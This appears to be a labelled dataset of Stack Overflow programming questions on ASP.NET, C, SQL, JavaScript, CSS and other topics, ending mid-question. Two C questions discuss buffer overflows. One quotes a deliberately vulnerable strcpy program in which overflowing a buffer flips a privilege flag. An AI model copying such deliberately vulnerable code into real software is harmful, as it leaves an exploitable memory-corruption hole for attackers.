asp.net 404 error for aspx.cs/js  i migrated an existing application from .net 2.0 to .net 4.0 using visual studio 2010. after migration i noticed  in iis log  a number of 404 errors are there for urls like  xxxxxx.aspx.cs/js for the port 443 as the application uses ssl certificates.    can you please help in finding answer to below questions :    <ol> <li>when the url <em>xxxxxx.aspx.cs/js</em> is requested from the browser </li> <li>why the error 404 is coming for the urls like <em>xxxxxx.aspx.cs/js</em>  </li> </ol>   any help is appreciated.,asp.net
bufferoverflow on stack  i was going through the security issues in c. i could not understand the below code of how it corrupts the stack    <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;string.h&gt;  int chk_perm(){         printf( \n check perm \n );         return 2; } int main(int argc char* argv[]){         int fg;         char filename[16];          if(argc != 2){                 fprintf(stderr  usage : %s filename\n  argv[0]);                 exit(1);         }          fg = chk_perm();         strcpy(filename argv[1]);         if(fg == 0xdeadbeef){                 //execute as root or deposit million dollars in bank account         }         else{                 //execute as a normal user   deduct $10 from an account         }          return 0; } </code></pre>   the argv[1] passed may change the value of fg. its said  that corruption will happen  if argv[1] passed is an entire binary that can cause undesired results can be passed as an argument along with return address.    i could not understand   how the strcpy corrupts the stack check_perm such that the value of the fg gets changed.    my assumption about the program     when program starts executing  it creates a stack for the main function and put its arguments return address local variables onto the stack.so int fg will occupy 4 bytes (08567500 loc)of the stack and filename[16] will occupy next 16 bytes(08567504). even if the filename is overflowing more than 16 bytes it may corrupt if any local variable was present after it.    so how does the fg gets corrupted due to strcpy(filename argv[1]);,c
c++ - multiple inheritance  i have a requirement which will form the diamond dread pattern. but i have come across comments from stack overflow mates that if the virtual base class is a pure abstract class  then the diamond pattern is not so much of a concern. can someone please expand on this as to why it is so,c++
why can t i overflow a global variable   i have this code below:   <pre><code>char buffer[10];        void main(int argc  char *argv[]) {     strcpy(buffer  argv[1]);    printf( value of buffer %s\n  buffer); } </code></pre>   i know that placing the buffer variable inside the main function i could overflow the stack  however by declaring it as a global variable  no matter how many ascii characters i enter from the command line that nothing happens. i was expecting a segmentation fault but it seems that it prints all the characters i enter. how come      i have another question related to the topic  if a program has a buffer overflow vulnerability  e.g. stack overflow  could i enter a code as large as i wanted into the vulnerable variable or would the so throw a segmentation default exception if the code surpasses the boundaries of the memory allocated for the user program,c
why don t browser developer tools display input field values   when i inspect an input field that has a value  the value appears empty in the debugger like this:    <a href= https://i.stack.imgur.com/bong4.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bong4.jpg  alt= enter image description here ></a>    i was just wondering why  debugger performance  or perhaps something related to security  or maybe i need to switch something on/off     the reason why i am wondering is that it makes debugging more difficult for me in certain situations  like right now when the field loads empty while console logged <code>.value</code> returns the value that is supposed to load but didn t for some reason:   <pre><code>console.log(  before loadfromlocalstorage  ); console.log(  input element:  ); console.log( document.getelementbyid(  email  ) ); console.log(  input element value:  ); console.log( document.getelementbyid(  email  ).value );    document.getelementbyid(  email  ).value = sessionstorage.email;   console.log(  after loadfromlocalstorage  ); console.log(  input element:  ); console.log( document.getelementbyid(  email  ) ); console.log(  input element value:  ); console.log( document.getelementbyid(  email  ).value ); </code></pre>   <a href= https://i.stack.imgur.com/djcke.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/djcke.jpg  alt= enter image description here ></a>    p.s. it actually shows up in the field when i set timeout long enough. 1ms is enough in about 75% of tests  but sometimes it fails to show up even with 100ms timeout. so apparently something is going on during that time  but i have no idea what. it would be really nice if i could log when it actually appears in the input field.   <hr>   <strong>edit:</strong>    i solved the problem with the empty input field. i used <code>element.innerhtml +=  a lot of html </code> elsewhere in my code and due to its destructive nature it wiped all the input fields before it completed appending html. i replaced it with <a href= https://developer.mozilla.org/en-us/docs/web/api/element/insertadjacenthtml#syntax  rel= nofollow noreferrer ><code>.insertadjacenthtml</code></a> and it worked like a charm.,javascript
list all the application currently running  ram usage and running time  app ram usage picture:    <a href= https://i.stack.imgur.com/yypih.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/yypih.jpg  alt= enter image description here ></a>    any code that can link to <code>setting -&gt; apps -&gt; running</code>  or any code that can list out all the application that currently running in the phone like this  currently using android studio   trying to develop app that can show the ram usage of apps and time use,android
embed mp3 wont loop  <strong>hi.</strong> i have a song  that i would like to have looped  but i cant really figure out what the problem is. currently it s only playing a single time and then stops with no loop. the code is as follows    <pre><code>&lt;embed name= bosse  src= bosse.mp3  loop= true  autostart= true  style= visibility:hidden; /&gt; </code></pre>,html
list.contains code not working  spent hours reading still dont get it  sorry for having to ask a stupid looking question  but i tried all the advice for the last atleast 5 hours. and it hasnt made it any clearer. im a beginner programmer and i cant see why it wouldnt work  theres no compile errors so i need your help here.    i think the problem is in the list.contains part because everything else seems to work  but idk    my end goal was to have a sort of local register/login system (without having to use any database or sql stuff)    here is the code:   <pre><code>    class customerlist     {         private string _x =  x ;         private string _y =  y ;         private string _x2 =  x2 ;         private string _y2 =  y2 ;          private list&lt;customer&gt; _list;         //         public string username         {             get { return _x; }             set { _x = value; }         }         // these are for the register         public string password         {             get { return _y; }             set { _y = value; }         }         //         public customerlist()         {             _list = new list&lt;customer&gt;();         }         //         public string username2         {             get { return _x2; }             set { _x2 = value; }         }         //these are for the login         public string password2 {             get { return _y2; }             set { _y2 = value; } }         //         public void register()         {             _list.add(new customer { name = username  pass = password });          }           public void login()         {             if (_list.contains(new customer {name = username2  pass = password2}))                 canlogin = true;         }           public bool canlogin { get; set; } = false;     }        namespace app10.model     {         public class customer : iequateable&lt;customer&gt;         {             private string _password =   ;             private string _username =   ;          public customer()         {         } public customer(string username  string password)             {                 this.pass = password;                 this.name = username;             }              public string name             {                 get { return _username; }                 set { _username = value; }             }              public string pass             {                 get { return _password; }                 set { _password = value; }             }              public bool equals(customer other)             {                 if (other == null)                     return false;                  if (this._username == other._username)                     return true;                 else                     return false;             }              public override bool equals(object obj)             {                 if (obj == null)                     return false;                 customer customerobj = obj as customer;                 if (customerobj == null)                     return false;                 else                     return equals(customerobj);              }          public override int gethashcode()         {             return this.name.gethashcode();         }           public static bool operator ==(customer person1  customer person2)         {             if (((object)person1) == null || ((object)person2) == null)                 return object.equals(person1  person2);              return person1.equals(person2);         }          public static bool operator !=(customer person1  customer person2)         {             if (((object)person1) == null || ((object)person2) == null)                 return !object.equals(person1  person2);              return !(person1.equals(person2));         }      }      public interface iequateable&lt;t&gt;     {     } }         private void register_click_1(object sender  routedeventargs e)         {             customerlist ss = new customerlist();             ss.username = textbox.text;             ss.password = textbox1.text;             ss.register();             frame.navigate(typeof(blankpage2)); }          private void login_click(object sender  routedeventargs e)         {             customerlist ss2 = new customerlist();             ss2.login();             if (ss2.canlogin)             {                 frame.navigate(typeof(mainpage)); } </code></pre>,c#
equation in sql query  i am trying to identify duplicate data within our database.    if somebodys first seat is 1  and their last seat is 3  it means they should have x3 num_seats    so i want to run a query where first_seat - last_seat +1 = num_seats. any pointers on what is wrong with my query    <pre><code>select acct_id  event_id  event_name  section_name  row_name  first_seat  last_seat  num_seat from dba.v_event where first_seat - last_seat +1 != num_seat </code></pre>,sql
how to create a constraint for 2 columns mysql  i have have created a database with 3 tables:<br> products<br> categories<br> subcategories    in my products table i have a category and a subcategory column:     <pre><code>| product_name | category | subcategory|   ----------------------------------------     | varchar      | int      | int        | </code></pre>   as of right now the category column references the categories table id and the subcategory column references the subcategories id.    the categories column has an id and a category name column:   <pre><code>| id | category_name | ---------------------- |int | varchar       | </code></pre>   the subcategories column has an id  sub category and a parent column which is a  foreign key that references the categories(id) column.   <pre><code>| id | subcategory_name | parent | --------------------------------- |int | varchar          | int    | </code></pre>   i wanted to know if there is a way to add a constraint to the products s  subcategories  column so that one would only be able to add a value if it was a legitimate child of the parent category.     forgive me if this question has been answered already. i do not know the proper name for what i am trying to do.,mysql
display a toast in a gcmbaseintentservice  i m trying to implement a push notification client. i want to display a toast in onmessage(context arg0  intent arg1) function.    and this is my code:   <pre><code>    public class gcmintentservice extends gcmbaseintentservice { static context c; @suppresswarnings( hiding ) private static final string tag =  gcmintentservice ;  public gcmintentservice() {     super( 717816998404 );     c = this.getbasecontext(); }  /**  * issues a notification to inform the user that server has sent a message.  */  @override protected void onerror(context arg0  string arg1) {     // todo auto-generated method stub  }  @override protected void onmessage(context arg0  intent arg1) {     log.d( gcm    recieved a message );     log.d( gcm    recieved a message );     log.d( gcm    recieved a message );     log.d( gcm    recieved a message );     log.d( gcm    recieved a message );     log.d( gcm    recieved a message );     log.d( gcm    recieved a message );     string str =arg1.getextras().getstring( pval );      log.i( pval  str);     // i want to display a toast here  }  @override protected void onregistered(context arg0  string arg1) {     // todo auto-generated method stub     log.i( test   arg1);     log.e( test   arg1);  }  @override protected void onunregistered(context arg0  string arg1) {     // todo auto-generated method stub  } </code></pre>   }    i want to know how to display the received message i trying to dispaly a toast to check the message.,android
persisting state on a master page s hierarchical list  i m writing an asp.net application (no ajax  but maybe) and there s a requirement to have a list of companies graded under a traffic light system. i intend to have these in a collapsible hierarchical list on the master page  e.g. red expands to show companies  and then companies can be further expanded.    question is  how can i keep the expanded list in the same place  with the same content visible  between page loads     i m only looking for pointers  not spoonfeeding ;-)    mike k.,asp.net
where does .net s debug.write() output to   i didn t see any output in the console or visual studio s output panel from:   <pre><code>debug.write( writestatements() was reached ) </code></pre>   where does the output go to,.net
rails texthelper truncate method: check for more complex separator   is there a way to use regular expressions for more complex separators in this    <pre><code>truncate(content  :length=&gt;60  :separator=&gt;   ) </code></pre>   checking for the standard space as the separator (   ) isn t enough for me. my main goal is to <strong>check for \n (enter/a new line)</strong>  so if someone knows how to do that please let me know.    i was also curious if there was a way to check for a broader range of things.    <strong>edit:</strong> sorry  more details: i hope to <strong>have a separator like => / \r\n/</strong> so the truncate method will separate around both spaces and new lines when determining where to put ellipsis  but i can t use regexps. see the problem,ruby-on-rails
is there any chance that the next version of c++ will have microsoft s property extension   <a href= http://msdn.microsoft.com/en-us/library/es7h5kch.aspx >http://msdn.microsoft.com/en-us/library/es7h5kch.aspx</a>    this feature looks pretty sweet. this would be great because you wouldn t need getters any more. you could make member variables public; later  if you change your mind  you can turn them into property.    is this something that the standard committee has considered  is this something they would likely accept or reject  does this already exist and i just don t know about it yet,c++
applying bubble sort using pointer to pointer concept   i am sorting an array alphabetically using bubble sort while applying the pointer to pointer concept. my program crashes when i use strcpy function to swap address of array *b[4] using pointer to pointer **p[4]  apart from that the program works fine.   <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; #include&lt;stdlib.h&gt;  int main()  {    char a[][10]={ milk   eggs   bread   cheese };    char *b[4] **p[4] *temp;    int length[4];    int i j;     for(i=0;i&lt;4;i++)    {       length[i]=strlen(a[i]);       b[i]=(char *)calloc(length[i] sizeof(char));       strcpy(b[i] a[i]);       p[i]=&amp;b[i];     }    for(j=0;j&lt;4;j++)    {      for(i=0; i&lt;3-j; i++)       {         if(strcmp(*p[i] *p[i+1])&gt;0)           { /*                      strcpy(temp *p[i]);    this is the part of the code where the               strcpy(*p[i] *p[i+1]); program crashes  can someone please point                         strcpy(*p[i+1] temp);  out the logical flaw              */           }        }     }      for(i=0;i&lt;4;i++)    {     puts(*p[i]);    }     } </code></pre>,c
inheriting height of a child node (img inside a)  i have a fancy css on my <code>&lt;a&gt;</code> tags. putting an <code>&lt;img&gt;</code> inside of a link makes the image stick outside of the <code>&lt;a&gt;</code> block  even though it s still clickable  it looks stupid.    changing <code>&lt;a&gt;</code> to <code>display:block</code>  or <code>float:left</code> fixes this  but has an undesirable <em>not</em>-side effect.    how can i overcome this     <a href= http://jsfiddle.net/z5gda/2/  rel= nofollow >http://jsfiddle.net/z5gda/2/</a>,css
how to add bigdecimal values in a rails app  in a rails 3.2 app i have defined two methods that perform a calculation and return a big decimal value.   <pre><code>def func1   model1.price * model1.qty end   def func2    model2.price * model2.qty end </code></pre>   i don t know if this relevant  but the :qty field is a counter cache column recording the number of associated has_many records.    i now want to calculate the sum of func1 and func2. if i try   <pre><code>def functotal    func1 + func2 end  </code></pre>   it returns the two values concatenated  not the sum. i.e. if func1=15.45 and func2=24.76  then functotal=15.4524.76.    i also tried    <pre><code>def functotal    func1.to_s + func2.to_s end </code></pre>   but this also concatenates.    i assume this issue is occurring because the calculation is based on bigdecimal values. in which case it seems strange to me that the price*qty calculation returns the correct product.    how can i add two bigdecimal values together     many thanks    <strong>edit</strong>    this is an example console output   <pre><code>&gt; 1=model1.find(1) =&gt; #&lt;model1 id:1...... &gt; 2.model2.find(2) =&gt; #&lt;model2 id:2.... &gt; 1total=1.func1 =&gt; [#&lt;bigdecimal:10a5cd888  0.25e4  9(36)&gt;]  &gt; 2.total=2func2 =&gt; [#&lt;bigdecimal:10a5c7348  0.5e3  9(36)&gt;] &gt; 1+2 =&gt; [#&lt;bigdecimal:10a5cd888  0.25e4  9(36)&gt;  #&lt;bigdecimal:10a5c7348  0.5e3  9(36)&gt;] </code></pre>   strange!    <strong>edit</strong>    my columns are defined as follows.     price is the same in both models   <pre><code>t.decimal   price    :precision =&gt; 12  :scale =&gt; 2 </code></pre>   quantity is more or less the same in both models   <pre><code>t.integer   model1_children_count   :default =&gt; 0 </code></pre>   and in the child model   <pre><code>belongs_to :model1  :counter_cache =&gt; true </code></pre>   <strong>edit</strong>    the full func1 and func2 is as follows  located within a parent model that has_many model1s and model2s.   <pre><code>class parent   def total_cost_of_model1     model1s.collect { |model1s| model1.price * model1.quantity }   end end </code></pre>,ruby-on-rails
javascript functions not running  i m working on a project for school and am having trouble getting everything to run. currently the prompts   enter your year-end income  and  enter your taxable deductions for the year  will run and the output is:   <pre><code>welcome to cop 2500 tax service!  your taxable income is $5300 </code></pre>   i m looking to get:   <pre><code>welcome to cop 2500 tax service!  your taxable income is $5300  based on a taxable income of $5300 your tax rate is 10 percent  your calculated taxes owed are $530  you overpaid your taxes  you will receive a refund of $120  thank you for using cop 2500 tax service! </code></pre>   any help would be great. thanks   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;    &lt;script type= text/javascript &gt;    const ten = 0.10;    const fifteen = 0.15;    const twentyfive = 0.25;    const twentyeight = 0.28;    const thritythree = 0.33;    const thirtyfive = 0.35;    const threeninetysix = 0.396;   function gettaxrate(inincome); {    var income = parseint(inincome);    var taxrate;     if (income &lt;= 8925 &amp;&amp; income &gt;= 0) {     taxrate = ten;    }    else if (income &gt;= 8926 &amp;&amp; income &lt;= 36250) {     taxrate = fifteen;    }    else if (income &gt;= 36251 &amp;&amp; income &lt;= 87850) {     taxrate = twentyfive;    }    else if (income &gt;= 87851 &amp;&amp; income &lt;= 183250) {     taxrate = twentyeight;    }    else if (income &gt;= 183251 &amp;&amp; income &lt;= 398350) {     taxrate = thritythree;    }    else if (income &gt;= 398351 &amp;&amp; income &lt;= 400000) {     taxrate = thirtyfive;    }    else if {     taxrate = threeninetysix;    }    return taxrate;    }          function calculatetaxes(intaxableincome  intaxrate) {   var income = parseint(intaxableincome);   var rate = parsefloat(intaxrate);   var taxesowed = income * rate;   return taxesowed;   }  function refundorpay(intaxesowed  intaxespaid) {   var taxesowed = parseint(intaxesowed);   var taxespaid = parseint(intaxespaid);   var taxdifference = taxesowed - taxespaid;   return taxdifference; }    &lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;script type= text/javascript &gt;         document.writeln( welcome to cop 2500 tax service!&lt;br&gt; );          //determine the tax rate         var income = prompt( enter your year-end income );         var deductions = prompt( enter your taxable deductions for the year     );          var taxableincome = (parseint(income) - parseint(deductions));          document.writeln( your taxable income is $  + taxableincome +  &lt;br&gt; );         var rate = gettaxrate(taxableincome);          document.writeln( based on a taxable income of $  + taxableincome +   your tax rate is   + rate * 100 +   percent&lt;br&gt; )           var taxesowed = calculatetaxes(taxableincome  rate);          document.writeln( your calculated taxes owed are $  + taxesowed +  &lt;br&gt; );          var taxespaid = prompt( enter the taxes you paid for the year     );         var taxresult = refundorpay(taxesowed  taxespaid);          if (taxresult == 0) {           document.writeln( congratulations you broke even!&lt;br&gt; );         } else if (taxresult &gt; 0) {           document.writeln( unfortunately you still owe more  please pay an additional $  + taxresult +   by april 15  2014&lt;br&gt; );         } else {           document.writeln( you overpaid your taxes  you will recieve a refund of $  + (-1 * taxresult) +  &lt;br&gt; ); }          document.writeln( thank you for using cop 2500 tax service! );     &lt;/script&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
jquery function (a b) need explanation  i found this codesnipe and i do not understand where the a and b is given. it works  so it may be $window. what is jquery here doing    <pre><code>function (a  b) {     var c = a( meta[name= csrf-token ] ).attr( content ); }(jquery) </code></pre>   the html:   <pre><code>  &lt;meta content= authenticity_token  name= csrf-param  /&gt; &lt;meta content= /zsc0ma07p8gupcp2k3iu77ntoqdstpt6btoolvt/gc=  name= csrf-token  /&gt; </code></pre>,jquery
creating an online quiz  i am looking into creating a simple quiz for a website. all of the answers should be typed into a text box (not multiple choice)  and at the end of the quiz i would like to display the users results and possibly even all of the questions with the correct answers (coloured red if the user answered incorrectly).    does anybody have any suggestions  maybe any useful links     cheers.,html
css adaptive height issue  i am having some issues while building a adaptive website. see how it should be:    <a href= http://tweakers.net/ext/f/o1sewjd53lwka3gv3w0cjdgw/full.png  rel= nofollow >http://tweakers.net/ext/f/o1sewjd53lwka3gv3w0cjdgw/full.png</a>    i have this code in my css:   <pre><code>.html {      min-width: 100%;      height: 100%;  }   .page {      margin-top: 4.3%; /* 215px : 4960px */      margin-left: 4.76%; /* 172px : 3615px */      margin-right: 4.6%; /* 168px : 3615px */      height: 100%;  }   .header {      width: 100%;      height: 13.95%; /* 661px : 4737px */  }   .logo {      margin-left: 7.51%; /* 246px : pagewidth */      width: 28%; /* 918px : pagewdith */      height: auto;      float: left;  }   .searchbox {      margin-top: 24.4%; /* 161px : 661px */      float:right;      width: 22.4%; /* 737px : pagewidth */  } </code></pre>   the logo shows as it should  but the margin-top of the searchbox seems to be the margin from the top of the html  not from the top of the header class. it get ways too low. i need it to be responsive because the height of the image is responsive  too  so the searchbox should adapt to the height of the logo because their bottoms are aligned.    furthermore  i have another class which should have a height of 5% of the header height  but when i give it height: 5%; it gets a height of 0px in chrome 23... how does this come     my html:   <pre><code>&lt;body&gt;     &lt;div class= page &gt;         &lt;div class= header &gt;             &lt;div class= logo &gt;                 &lt;img /&gt;             &lt;/div&gt;             &lt;div class= searchbox &gt;&lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/body&gt; </code></pre>,css
how much higher compared to average  i have a homework assignment asking the following:    <strong>part 1:</strong> which employee has the highest salary   i came up with the following code for this part:   <pre><code>select top 1 name       salary as highestsalary from dbo.chicagosalary order by highestsalary desc; </code></pre>   <strong>part 2:</strong> how much higher is that person s salary compared to the avg salary of the department they belong to      i am completely lost on this part. the instructor stated we can use multiple queries to answer this question.    any suggestions/hints would be appreciated. thank you!,sql
mysql table rename : is data deleted   i have a table a and another table b. i rename a as b. is b s old data cleared from mysql server  (i am thinking on similar lines to garbage collection of unreferenced variables).,mysql
no overload for method  logexception  takes 2 arguments  <strong>problem:</strong> no overload for method  logexception  takes 2 arguments.    <strong>description:</strong> i have a method which should be able to take additional info optionally  so i added an optional parameter / argument (<em>option 1</em>). that didn t work  so i tried making 2 methods (<em>option 2</em>). now i m pretty sure it isn t a coding error  but rather something with visual studio (2010). i ve tried cleaning  rebuilding and building (after deleting bin folder)  but the error  no overload...  always stops the build process.    <strong>call</strong>   <pre><code>catch(exception e) {     serverlog.instance.logexception(e  (object)info); } </code></pre>   <strong>implementation option 1</strong>   <pre><code>public void logexception(exception e  object info=null) { ... } </code></pre>   <strong>implementation option 2</strong>   <pre><code>public void logexception(exception e) { logexception(e  null); } public void logexception(exception e  object info) { ... } </code></pre>,c#
how to create a table from codebehind using asp.net table control methods (using  table tablerow tablecolumn tableheader etc.)  i need to create a table  which will have one header and <a href= https://i.stack.imgur.com/r8cxw.png  rel= nofollow noreferrer >like this</a> multiple checkboxes. can someone please give some reference so that i can understand how asp.net table control works. i already went thorough msdn blog. so but i was unable understand that. i will be very happy if someone can explain in details.,asp.net
how to get the url the client used  in asp.net  how can i know whether the user has typed the default document in the url or not&mdash;i.e.  distinguish if the url ends with <code>/</code> or <code>/default.aspx</code>,asp.net
html: update page vs. redirecting to a new page after user input  i m trying to write some html code so that a table will be created on the current page after the user submits inputs into a form. that is  instead of entering in values into a form  clicking submit  and being redirected to a new page with the computed output values  i d like for the output values to appear at the bottom of the current page. this way  the user inputs stay intact and the only change is that an output table is appended to the bottom of the current page. here s an example of how i would ideally like the page to work:    <a href= http://amort.appspot.com/  rel= nofollow >http://amort.appspot.com/</a>    any help would be very much appreciated. thanks!,html
html - any way to not have to repeat the same meta link and script   i maintain a site which uses jquery  css  and fancybox.  on 99% of the pages  the  contains  at least  the same 5 lines of meta (content-type  cache-control  viewport  description  etc)  the same links (css for screen  css for printer  mandatory fancybox css  and a google font api)  and the same scripts (jquery  jquery code for that batch of pages).    is there a way that these  items can be in a single location rather than having the 15 or so meta  link  and script lines on every single page     thanks!,html
can you place if immediately after for in java   eclipse lets me write some code like this  and doesn t show any errors:   <pre><code>for (someclass c : listofsomeclass) if (c.someboolean) {     // actions to take if someboolean is true } </code></pre>   will this behave as expected  or is this not valid java,java
how to show code snippet on asp.net page with color formatting  i want to show code in asp.net page   how to show code snippet that it will look in same colors as it looks in visual studio   best examlple i can give is this stackoverflow.com itself we can put code fragment in our question which looks well colored giving better user exprience     i have just no clue   also how to store code snippets when user enters them,asp.net
sql competitions  sorry to ask this kind of questions.    but i am eager to know some good sites where i can have the opportunity to have some sql competitions.    i found 1  <a href= http://www.experts-exchange.com/microsoft/development/ms-sql-server/q_20623909.html  rel= nofollow noreferrer >troyk s t-sql challenge</a>    but it is not free.     i am looking for a free one.    and also c# programming competitions. one i found is <a href= http://www.codechef.com/oct09/  rel= nofollow noreferrer >code chef</a>    i am looking for some more.    also  it should be for any ages!    edited:    i liked <a href= http://projecteuler.net/  rel= nofollow noreferrer >project euler</a>. it s nice    also some tsql programming challenge. sql server central is good. but i am looking for more tsql programs    thanks in advance,sql
histogram in sql without skipping values <h1>code i have</h1>  <pre><code>select      floor(value / 5) * 5 as binned_value      count(*) as qty from      mytable group by     binned_value; </code></pre>  <h1>example</h1>  <h2>input</h2>  <pre><code>| id | value|  |----|------| | 1  | 0    | | 2  | 4    | | 3  | 3    | | 4  | 12   | </code></pre>  <h2>output</h2>  <pre><code>| binned_value | qty | |--------------|-----| | 0            | 3   | | 10           | 1   | </code></pre>   which means there are 3 value between 0..5 and 1 value between 10..15.   <h1>problem</h1>   i want the output to be this:   <pre><code>| binned_value | qty | |--------------|-----| | 0            | 3   | | 5            | 0   | | 10           | 1   | </code></pre>   that is  i want any bin that has 0 qty to also be shown.    i know i can do this with a bunch of joins and unions  but <code>5</code>  the bin size  is a parameter.     it is possible to know beforehand the highest possible value.,sql
sql limit by an aggregate  i have a table like this:   <pre><code>table records {    created :: datetime not null    name :: text not null    people :: number not null } </code></pre>   and want to do a query like:   <pre><code>select * from records order by created desc limit { sum (people) &lt; 200 } </code></pre>   so instead of limiting the result set to a fixed number  limit it so that if i were to <code>sum(people)</code> it would be less than 200,sql
sqldatetime overflow. must be between 1/1/1753 12:00:00 am and 12/31/9999 11:59:59 pm  i can t seem to find the right answer in other questions like this.    i m using this piece of code to assign the date that should be saved in the database.   <pre><code>request.branchrequestdate = datetime.now; </code></pre>   and when i m trying to retrieve the data from the table using this function.   <pre><code>public request selectbyid()     {         try         {             sqlcommand command = this.getparametizedcommand( select * from request where requestuid =    + this.requestuid.tostring() +    ; );             command.commandtype = commandtype.text;             sqldataadapter adapter = new sqldataadapter(command);             datatable tbl = new datatable();             adapter.fill(tbl); //this is where the exception is thrown             return toentity(tbl);         }         catch         {             return null;         }      } </code></pre>   ...it throws and exception.    i ve tried checking everything  but what i can t figure out is why it throws and exception  as i can t see what the retrieved data looks like in c#  but i ve tried the statement in sql server itself and it returns the correct data.    any idea     edit: i have also compared it with a similar function in the same program  and it functions just fine.    edit: code for getparametizedcommand method   <pre><code>public sqlcommand getparametizedcommand(string commandtext)     {         try         {             sqlcommand command = base.getsqlcommand(commandtext);             if(savingstatus == util.savingstatus.insert)                 command.parameters.add(new sqlparameter( @requestuid   sqldbtype.int 32  parameterdirection.output  false  38  38   requestuid   datarowversion.default  this.requestuid));             else if (savingstatus == util.savingstatus.update || savingstatus == util.savingstatus.delete)                 command.parameters.add(new sqlparameter( @requestuid   sqldbtype.int 32  parameterdirection.input  false  38  38   requestuid   datarowversion.default  this.requestuid));             command.parameters.addwithvalue( @displayid   this.displayid);             command.parameters.addwithvalue( @branchuid   this.branchuid);             command.parameters.addwithvalue( @employeeuid   this.employeeuid);             command.parameters.addwithvalue( @branchrequestdate   this.branchrequestdate);             command.parameters.addwithvalue( @isdeleted   this.isdeleted);             return command;         }         catch         {             return null;         }      } </code></pre>,c#
how to set carret after element  how i can set cursor position after <code>&lt;b&gt;some test&lt;/b&gt;</code>    example code:    <code>&lt;div contenteditable= true &gt;&lt;p&gt;&lt;b&gt;some test&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;</code>    i m using setstartafter &amp; setendafter  but not working,javascript
handling browser back button in angularjs  i have just started angularjs in my application. in my index.html page  i have a table with links and a sidebar which will be shown by default. when we click the link  it goes to the summary screen where i hide the sidebar. i have a link in the summary screen which routes back to the index page where i show the sidebar again.    now the issue is  when the user clicks the link on the summary page  the sidebar is shown on the index page  but if the user clicks the back button on the browser  the sidebar does not show up..    i am using angular ng-show to show.hide the sidebar. why does the ng-show tag does not get updated based on the browser back button but does not get activated for link on the summary screen     the code snippet in the summary screen is shown below:   <pre><code> &lt;nav class= navbar navbar-default navbar-static-top  role= navigation  style= margin-bottom: 0 &gt;         &lt;div class= navbar-header &gt;             &lt;a class= navbar-brand  href= index.html &gt;details&lt;/a&gt;         &lt;/div&gt;     &lt;/nav&gt; </code></pre>   the code snippet in the details page is shown below:   <pre><code>        &lt;div class= row  ng-controller= statectrl &gt;            &lt;div&gt;                &lt;div data-ng-view=  &gt;&lt;/div&gt;            &lt;/div&gt;             &lt;div class= col-lg-3  ng-show= sidebar.show  id= sidebar  ng-controller= sidebarcontroller &gt;                 &lt;hr/&gt;                 &lt;div class= panel panel-primary &gt;                     &lt;div class= panel-heading &gt;states&lt;/div&gt;                      &lt;div class= panel-body &gt;                         &lt;h4&gt;states&lt;/h4&gt;                         &lt;div class= form-group &gt;                             &lt;select class= form-control  ng-options= state.name for state in states  ng-model= state &gt;                              &lt;/select&gt;                         &lt;/div&gt;                         &lt;!-- /input-group --&gt;                         &lt;button class= btn btn-primary  type= submit  ng-click= submit() &gt;submit&lt;/button&gt;                         &lt;button class= btn btn-default  type= reset  ng-click= reset() &gt;reset&lt;/button&gt;                 &lt;/div&gt;               &lt;/div&gt;             &lt;/div&gt; </code></pre>   please let me know how to handle the browser back button scenario.,angularjs
how to fix mutable variable is accessible from closure warning with a while loop  here s my function that is supposed to validate a name so that there is no duplicates:    <pre><code>function validatebucketname(){         var counter = 1;         var validated = false;         var suggestedname =  bucket   + (vm.buckets.length + counter);         if(vm.buckets.length === 0) return suggestedname;          while(!validated){             var foundindex = vm.buckets.findindex(function (bucket) {                 return bucket.name === suggestedname;             });             if(foundindex === -1){                 validated = true;             } else {                 counter++;                 suggestedname =  bucket   + (vm.buckets.length + counter);             }         }         return suggestedname;     } </code></pre>   i am getting the pretty common error  that i am aware of how to deal with in <code>for</code> loops  but can t figure out how to do that with the <code>while</code> loop. can someone have a look at this      ps. this is probably very inefficient way of trying to make sure no duplicate names exist. if you have a suggestion for how to make that better feel free to comment.,javascript
sorting table by date  i have the following php code. it gets the files from the folder <code>../sessions</code>. i believe it s currently sorted (i think) by alphabet.    how would i sort the table by file creation date    <pre><code>&lt; php  $path =  ../sessions ;   $latest_ctime = 0; $latest_filename =   ;      $d = dir($path); while (false !== ($entry = $d-&gt;read())) {   $filepath =  {$path}/{$entry} ;   // could do also other checks than just checking whether the entry is a file   if (is_file($filepath) &amp;&amp; filectime($filepath) &gt; $latest_ctime) {     $latest_ctime = filectime($filepath);     $latest_filename = $entry;   } }  $files_in_directory = scandir( ../sessions ); $items_count = count($files_in_directory); if ($items_count &lt;= 2) {     $empty = true; } else {     $empty = false; } echo $empty;  $files_in_directory2 = scandir( ../sessions ); $items_count2 = count($files_in_directory2); if ($items_count2 &lt;= 2) {     $empty2 = true; } else {     $empty2 = false; } echo $empty2;     $filenamenoextension = array_pop(array_reverse(explode( .txt   $latest_filename)));     if($empty == false) { echo  &lt;br /&gt;nieuwste sessie:  ; }     elseif ($empty == true) { echo  geen sessies aangemeld ; }     if ($filenamenoextension ==  .dont-delete-htaccess ) { echo  geen sessies aangemeld&lt;br /&gt;&lt;br /&gt; ; }     if($empty == false &amp;&amp; $filenamenoextension !==  .dont-delete-htaccess ) { echo  &lt;a href= vimeo.php id=$filenamenoextension &gt;&lt;strong&gt;$filenamenoextension&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; ; };    function getfilelist($dir)   {     // array to hold return value     $retval = array();      // add trailing slash if missing     if(substr($dir  -1) !=  / ) $dir .=  / ;      // open pointer to directory and read list of files     $d = @dir($dir) or die( getfilelist: failed opening directory $dir for reading );     while(false !== ($entry = $d-&gt;read())) {       // skip hidden files       if($entry[0] ==  . ) continue;       if(is_dir( $dir$entry )) {         $retval[] = array(            name  =&gt;  $dir$entry/              lastmod  =&gt; filemtime( $dir$entry )         );       } elseif(is_readable( $dir$entry )) {         $retval[] = array(            name  =&gt;  $dir$entry              lastmod  =&gt; filemtime( $dir$entry )         );       }     }     $d-&gt;close();      return $retval;   }     $dirlist = getfilelist( ../sessions );    // output 